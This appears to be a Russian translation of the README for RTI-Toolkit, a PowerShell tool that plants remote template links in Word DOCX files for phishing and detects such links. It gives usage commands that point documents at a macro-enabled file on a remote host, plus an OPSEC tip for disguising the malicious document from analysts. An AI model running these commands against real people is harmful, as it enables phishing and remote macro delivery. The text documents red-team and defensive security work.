
Инструментарий PowerShell для атак и защиты с использованием удаленного внедрения шаблонов. Внедряет вредоносные ссылки в документы Office Word для фишинга, с модулями идентификации для синих команд.
Remote Template Injection Toolkit
RTI-Toolkit — это набор инструментов с открытым исходным кодом на PowerShell для атаки Remote Template Injection. В этот набор входит PowerShell-скрипт PS-Templator.ps1, который может использоваться как с атакующей, так и с защитной точки зрения.
В следующей таблице представлены основные модули (командлеты) PS-Templator.ps1:
| Командлет | Описание | Сторона |
|---|---|---|
| Invoke-Template | Внедряет ссылки на удалённые шаблоны в стандартные шаблоны Office Word | Атакующая |
| Invoke-Regular | Внедряет ссылки на удалённые шаблоны в обычные документы Office Word без шаблона | Атакующая |
| Invoke-Identify | Определяет ссылки на удалённые шаблоны в документах Office Word (с шаблоном или без) | Защитная |
⚠️ PS-Templator.ps1 поддерживает только файлы DOCX.
ℹ️ Этот инструмент упоминается Национальным институтом стандартов и технологий (NIST) в Национальной базе данных уязвимостей (NVD) в записях CVE-2025-65318 и CVE-2025-65319.
Этот инструмент распространяется по лицензии .
Особая благодарность моим друзьям @Papadope9 и Stavros Gkounis (a.k.a purpl3ph03n1x), которые оказали неоценимую помощь в ходе бета-тестирования инструмента.
Этот инструмент был вдохновлён во время оценки Red Teaming iCAST с @S1ckB0y1337 несколько лет назад.
Supernova создана с ❤️ @nickvourd.
Remote Template Injection (RTI) в контексте Microsoft Office — это особый тип уязвимости безопасности, который может быть использован через вредоносные шаблоны в документах Office (например, Word, Excel, PowerPoint).
Например, в файле DOCX содержимое хранится в формате XML внутри архива, и некоторые из этих XML-файлов могут ссылаться на внешние ресурсы или шаблоны. Злоумышленники действительно могут манипулировать этими XML-файлами, чтобы вставить вредоносные ссылки или контент, способные использовать уязвимости или обманывать пользователей.
Это атака на основе макросов.
Чтобы загрузить PS-Templator.ps1 в память как модуль, выполните следующую команду:
Import-Module .\PS-Templator.ps1
ℹ️ PS-Templator.ps1 работает без необходимости установки дополнительных зависимостей.
ℹ️ PS-Templator.ps1 работает как модуль PowerShell.
ℹ️ PS-Templator.ps1 протестирован на машине с Windows 10 и Office 2019 Professional plus.
Invoke-Template — это командлет, который внедряет ссылки на удалённые шаблоны в стандартные шаблоны Office Word.
Предположим, у вас есть стандартный шаблон Word, например такой:

Сохранённый как, например, 'Name.docx':

Если вы используете командлет Invoke-Template, вы можете вставить вредоносную ссылку в этот docx:
⚠️ Перед запуском Invoke-Template убедитесь, что вы сохранили документ и закрыли его (завершили его процесс).
Invoke-Template -InputDoc Name.docx -Link "https://192.168.1.3:8080/Doc1.docm" -Output C:\Users\User\Desktop\LegitDocument.docx
Результат:

Как видите, модуль Invoke-Template сохраняет резервную копию исходного документа и предоставляет полный путь к вредоносному документу.
С точки зрения отладки, если преобразовать вредоносный docx в zip-архив и перейти в /word/_rels/settings.xml.rels, вы увидите вредоносную ссылку:

Invoke-Regular — это командлет, который внедряет ссылки на удалённые шаблоны в обычные документы Office Word без шаблонов.
Предположим, у вас есть обычный документ Word без шаблона, например такой:

Сохранённый как, например, 'Doc1.docx':

Если вы используете командлет Invoke-Regular, вы можете вставить вредоносную ссылку в этот docx:
⚠️ Перед запуском Invoke-Regular убедитесь, что вы сохранили документ и закрыли его (завершили его процесс).
Invoke-Regular -InputDoc C:\Users\User\Desktop\Doc1.docx -Link "http://192.168.1.3:8080/Doc1.docm" -Output Nikos2.docx
Результат:

Как видите, модуль Invoke-Regular сохраняет резервную копию исходного документа и предоставляет полный путь к вредоносному документу.
С точки зрения отладки, если преобразовать вредоносный docx в zip-архив и перейти в /word/_rels/settings.xml.rels, вы увидите вредоносную ссылку:

С точки зрения OPSEC вы можете использовать параметр -TemplateName вместе с модулем Invoke-Regular. Это сделает ваш вредоносный документ более легитимным, если кто-то попытается его проанализировать.
Вот пример:
Invoke-Regular -InputDoc C:\Users\User\Desktop\Doc1.docx -Link "http://192.168.1.3:8080/Doc1.docm" -Output Legittemplate.dotx
Результат:

С точки зрения отладки, если преобразовать вредоносный docx в zip-архив и перейти в /docProps/app.xml, вы увидите поддельное имя шаблона:

Invoke-Identify — это командлет, который определяет ссылки на удалённые шаблоны в документах Office Word (с шаблоном или без).
Предположим, у вас есть вредоносный документ Word:
Invoke-Identify -InputDoc LegitDocument.docx -Output C:\Users\User\Desktop\output.txt
Результат:

Предположим, у вас есть невредоносный документ Word:
Invoke-Identify -InputDoc Name.docx -Output C:\Users\User\Desktop\output2.txt
Результат:
